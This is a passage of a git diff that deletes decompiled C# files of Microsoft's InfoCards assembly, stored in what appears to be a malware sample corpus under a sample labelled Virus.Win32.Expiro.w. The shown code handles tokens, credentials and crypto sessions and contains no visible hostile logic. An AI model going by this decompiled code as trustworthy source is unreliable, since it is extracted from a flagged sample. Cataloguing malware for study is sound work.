TokenFactoryCredentialType.SelfIssuedCredential; - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - if (credentialSelector1.IsComplete()) - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - reader.ReadEndElement(); - break; - case "X509V3Credential": - this.CredentialType = TokenFactoryCredentialType.X509CertificateCredential; - this.ReadX509V3CredentialElement(reader); - reader.ReadEndElement(); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - } - reader.ReadEndElement(); - } - - public string ReadDisplayCredentialHint(XmlReader reader) => reader.IsStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.ReadElementContentAsString().Trim() : throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - - private void ReadX509V3CredentialElement(XmlReader reader) - { - if (!reader.IsStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || !("X509Data" == reader.LocalName)) - return; - while (reader.Read()) - { - if (reader.IsStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#")) - { - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - CredentialSelector credentialSelector2 = new CredentialSelector(); - credentialSelector2.ReadXml(reader); - if (credentialSelector2.IsComplete() && credentialSelector1.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - this.CredentialSelectors.Add(credentialSelector2.Type, credentialSelector2); - } - reader.ReadEndElement(); - break; - } - if (reader.IsStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd")) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - while (!("X509Data" == reader.LocalName) || !("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || XmlNodeType.EndElement != reader.NodeType) - { - if (!reader.Read()) - return; - } - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenDescriptor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenDescriptor.cs deleted file mode 100644 index 5a60003d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenDescriptor.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenDescriptor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IO; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class TokenDescriptor : IDisposable - { - private string m_tokenId; - private DateTime m_effectiveTime; - private DateTime m_expirationTime; - private XmlElement m_protectedToken; - private DisplayToken m_displayToken; - private SymmetricAlgorithm m_symmetricProof; - private string m_internalTokenReference; - private string m_externalTokenReference; - private List m_disclosedClaims; - private bool m_disposed; - private object m_sync; - - public TokenDescriptor( - string tokenId, - DateTime effectiveTime, - DateTime expirationTime, - XmlElement protectedToken, - DisplayToken displayToken, - SymmetricAlgorithm symmetricProof, - string internalTokenReference, - string externalTokenReference, - IEnumerable disclosedClaims) - { - this.m_sync = new object(); - this.m_tokenId = tokenId; - this.m_effectiveTime = effectiveTime; - this.m_expirationTime = expirationTime; - this.m_protectedToken = protectedToken; - this.m_displayToken = displayToken; - this.m_symmetricProof = symmetricProof; - this.m_internalTokenReference = internalTokenReference; - this.m_externalTokenReference = externalTokenReference; - this.m_disclosedClaims = new List(disclosedClaims); - } - - public ReadOnlyCollection DisclosedClaims => this.m_disclosedClaims.AsReadOnly(); - - public string TokenId => this.m_tokenId; - - public DateTime EffectiveTime => this.m_effectiveTime; - - public DateTime ExpirationTime => this.m_expirationTime; - - public string InternalTokenReference => this.m_internalTokenReference; - - public string ExternalTokenReference => this.m_externalTokenReference; - - public XmlElement ProtectedToken => this.m_protectedToken; - - public DisplayToken DisplayToken => this.m_displayToken; - - public SymmetricAlgorithm SymmetricProof => this.m_symmetricProof; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write(this.m_effectiveTime.ToFileTimeUtc()); - bwriter.Write(this.m_expirationTime.ToFileTimeUtc()); - Utility.SerializeString(bwriter, this.m_protectedToken.OuterXml); - Utility.SerializeString(bwriter, this.m_internalTokenReference); - Utility.SerializeString(bwriter, this.m_externalTokenReference); - } - - public void Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_symmetricProof != null) - { - this.m_symmetricProof.Dispose(); - this.m_symmetricProof = (SymmetricAlgorithm) null; - } - this.m_protectedToken = (XmlElement) null; - this.m_expirationTime = DateTime.MinValue; - this.m_effectiveTime = DateTime.MinValue; - this.m_tokenId = (string) null; - this.m_externalTokenReference = (string) null; - this.m_internalTokenReference = (string) null; - this.m_disclosedClaims = (List) null; - this.m_displayToken = (DisplayToken) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryBase.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryBase.cs deleted file mode 100644 index d4e08a36..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryBase.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryBase -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryBase : ITokenFactory - { - private bool m_aborted; - - public bool IsAborted => this.m_aborted; - - public TokenDescriptor CreateToken( - InfoCard infoCard, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - TokenCreationParameter parameters = (TokenCreationParameter) null; - if (credential != null && -1 != credential.ParameterIndex) - parameters = infoCard.CreationParameters[credential.ParameterIndex]; - return this.ProduceToken(infoCard, parameters, credential, policy, discloseOptional); - } - - public void Abort() - { - this.OnAbort(); - this.m_aborted = true; - } - - protected abstract TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameters, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - - protected virtual void OnAbort() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredential.cs deleted file mode 100644 index 0ed8ab60..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredential.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryCredential : IDisposable - { - public const int NoCredential = -1; - private TokenFactoryCredentialType m_type; - private Uri m_cardId; - private int m_paramIndex; - private int m_lcid; - - protected TokenFactoryCredential(TokenFactoryCredentialType type) => this.m_type = type; - - public void Dispose() => this.Dispose(true); - - public virtual void Dispose(bool disposing) - { - } - - public static TokenFactoryCredential CreateFrom( - BinaryReader reader, - UIAgentRequest request, - int lcid) - { - TokenFactoryCredential from; - switch (reader.ReadInt32()) - { - case -1: - from = (TokenFactoryCredential) null; - break; - case 1: - from = (TokenFactoryCredential) new UserNameTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 2: - from = (TokenFactoryCredential) new SelfIssuedTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 3: - from = (TokenFactoryCredential) new X509CertificateTokenFactoryCredential(request); - from.Deserialize(reader); - break; - case 4: - from = (TokenFactoryCredential) new KerberosTokenFactoryCredential(); - from.Deserialize(reader); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - from = (TokenFactoryCredential) null; - break; - } - if (from != null) - from.LCID = lcid; - return from; - } - - public int ParameterIndex => this.m_paramIndex; - - public TokenFactoryCredentialType CredentialType => this.m_type; - - public int LCID - { - get => this.m_lcid; - set => this.m_lcid = value; - } - - public Uri CardId => this.m_cardId; - - private void Deserialize(BinaryReader reader) - { - this.m_cardId = new Uri(Utility.DeserializeString(reader)); - this.m_paramIndex = reader.ReadInt32(); - this.DeserializeData(reader); - } - - protected abstract void DeserializeData(BinaryReader reader); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredentialType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredentialType.cs deleted file mode 100644 index b3a7a136..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredentialType.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredentialType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum TokenFactoryCredentialType - { - LocalCredential = -1, // 0xFFFFFFFF - Invalid = 0, - UserNamePasswordCredential = 1, - SelfIssuedCredential = 2, - X509CertificateCredential = 3, - KerberosCredential = 4, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryFactory.cs deleted file mode 100644 index 1536a3b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryFactory.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Net; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal sealed class TokenFactoryFactory - { - private TokenFactoryFactory() - { - } - - public static ITokenFactory Create( - InfoCard infoCard, - TokenCreationParameter parameter, - ServiceEndpoint endPoint, - IWebProxy proxy) - { - return !infoCard.IsSelfIssued ? (ITokenFactory) new RemoteTokenFactory(endPoint, proxy) : (ITokenFactory) new SelfIssuedSamlTokenFactory(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformBlockRequest.cs deleted file mode 100644 index 55da9758..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformBlockRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - private int m_outBlockSize; - - public TransformBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlockSize = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformBlock(this.m_inBlock, out this.m_outBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.OutArgs, "OutArgs"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_outBlock, "outBlock"); - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock, 0, this.m_outBlockSize); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformCryptoSession.cs deleted file mode 100644 index 641e4a72..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformCryptoSession.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformCryptoSession : CryptoSession - { - private ICryptoTransform m_icrypto; - - public TransformCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - ICryptoTransform icrypto) - : base(process, expiration, identity, (object) icrypto, CryptoSession.SessionType.Transfrom) - { - this.m_icrypto = icrypto; - } - - protected override void OnDispose() => this.m_icrypto.Dispose(); - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_icrypto.InputBlockSize); - bwriter.Write(this.m_icrypto.OutputBlockSize); - bwriter.Write(this.m_icrypto.CanTransformMultipleBlocks); - bwriter.Write(this.m_icrypto.CanReuseTransform); - } - - public int TransformBlock(byte[] inData, out byte[] outData) - { - outData = new byte[this.m_icrypto.OutputBlockSize]; - return this.m_icrypto.TransformBlock(inData, 0, inData.Length, outData, 0); - } - - public byte[] TransformFinalBlock(byte[] inData) => this.m_icrypto.TransformFinalBlock(inData, 0, inData.Length); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformFinalBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformFinalBlockRequest.cs deleted file mode 100644 index 2ec11751..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformFinalBlockRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformFinalBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformFinalBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public TransformFinalBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformFinalBlock(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TrustExchangeException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TrustExchangeException.cs deleted file mode 100644 index bb5e5fe3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TrustExchangeException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TrustExchangeException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TrustExchangeException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public TrustExchangeException() - : base(-1073413871) - { - } - - public TrustExchangeException(string message) - : base(-1073413871, message) - { - } - - public TrustExchangeException(string message, Exception inner) - : base(-1073413871, message, inner) - { - } - - protected TrustExchangeException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs deleted file mode 100644 index 58f8c3c7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncBeginRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncBeginRequest : UIAgentRequest - { - private SafeWaitHandle m_agentEventHandle; - private int m_asyncHandle; - - public UIAgentAsyncBeginRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override sealed void OnMarshalInArgs() - { - IntPtr zero = IntPtr.Zero; - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - using (SafeWaitHandle hRemote = new SafeWaitHandle(Utility.ReadHandle(binaryReader), false)) - this.m_agentEventHandle = Utility.GetLocalHandleFromRemoteHandle(hRemote, this.ParentRequest.UIAgentPid); - this.OnMarshalAsyncInArgs(binaryReader); - } - - protected virtual void OnMarshalAsyncInArgs(BinaryReader reader) - { - } - - protected override void OnProcess() - { - AsyncParams asyncParams = this.CreateAsyncParams(); - asyncParams.AsyncResult.CancelCallback = new RpcAsyncResult.AsyncCancelCallback(this.AsyncCancel); - InfoCardTrace.Assert(null != asyncParams, "Null AsyncParams"); - try - { - this.m_asyncHandle = asyncParams.AsyncResult.Handle; - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async context handle"); - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(this.AsyncEntry)), (object) asyncParams)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - } - catch - { - asyncParams.AsyncResult.Dispose(); - throw; - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - binaryWriter.Write(this.m_asyncHandle); - } - - protected override void OnDisposeAsUser() - { - if (this.m_agentEventHandle == null) - return; - this.m_agentEventHandle.Dispose(); - this.m_agentEventHandle = (SafeWaitHandle) null; - } - - protected virtual AsyncParams CreateAsyncParams() - { - AsyncParams asyncParams = (AsyncParams) new UIAgentAsyncParams(this.GetType().Name, (ClientRequest) this.ParentRequest, this.m_agentEventHandle, (UIAgentRequest) this); - this.m_agentEventHandle = (SafeWaitHandle) null; - return asyncParams; - } - - protected abstract object AsyncExecute(AsyncParams asyncParam); - - protected abstract void AsyncCancel(); - - private void AsyncEntry(object state) - { - AsyncParams asyncParam = (AsyncParams) state; - try - { - if (asyncParam.AsyncResult.IsCanceled) - asyncParam.AsyncResult.Exception = (Exception) new Win32Exception(1223); - else - asyncParam.AsyncResult.Result = this.AsyncExecute(asyncParam); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - asyncParam.AsyncResult.Exception = ex; - } - asyncParam.AsyncResult.Complete(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs deleted file mode 100644 index cb89a9d9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncEndRequest : UIAgentRequest - { - private int m_asyncHandle; - private bool m_isCompleted; - private object m_result; - private bool m_isCancelled; - - public UIAgentAsyncEndRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - public object Result - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_result; - } - } - - public bool IsCancelled - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_isCancelled; - } - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - } - - protected override void OnProcess() - { - using (RpcAsyncResult rpcAsyncResult = this.ParentRequest.WaitForAsyncCompletion(this.m_asyncHandle)) - { - this.m_isCancelled = rpcAsyncResult.IsCanceled; - if (!this.m_isCancelled) - this.m_result = rpcAsyncResult.Result; - } - this.m_isCompleted = true; - } - - protected override sealed void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.IsCancelled); - if (this.IsCancelled) - return; - 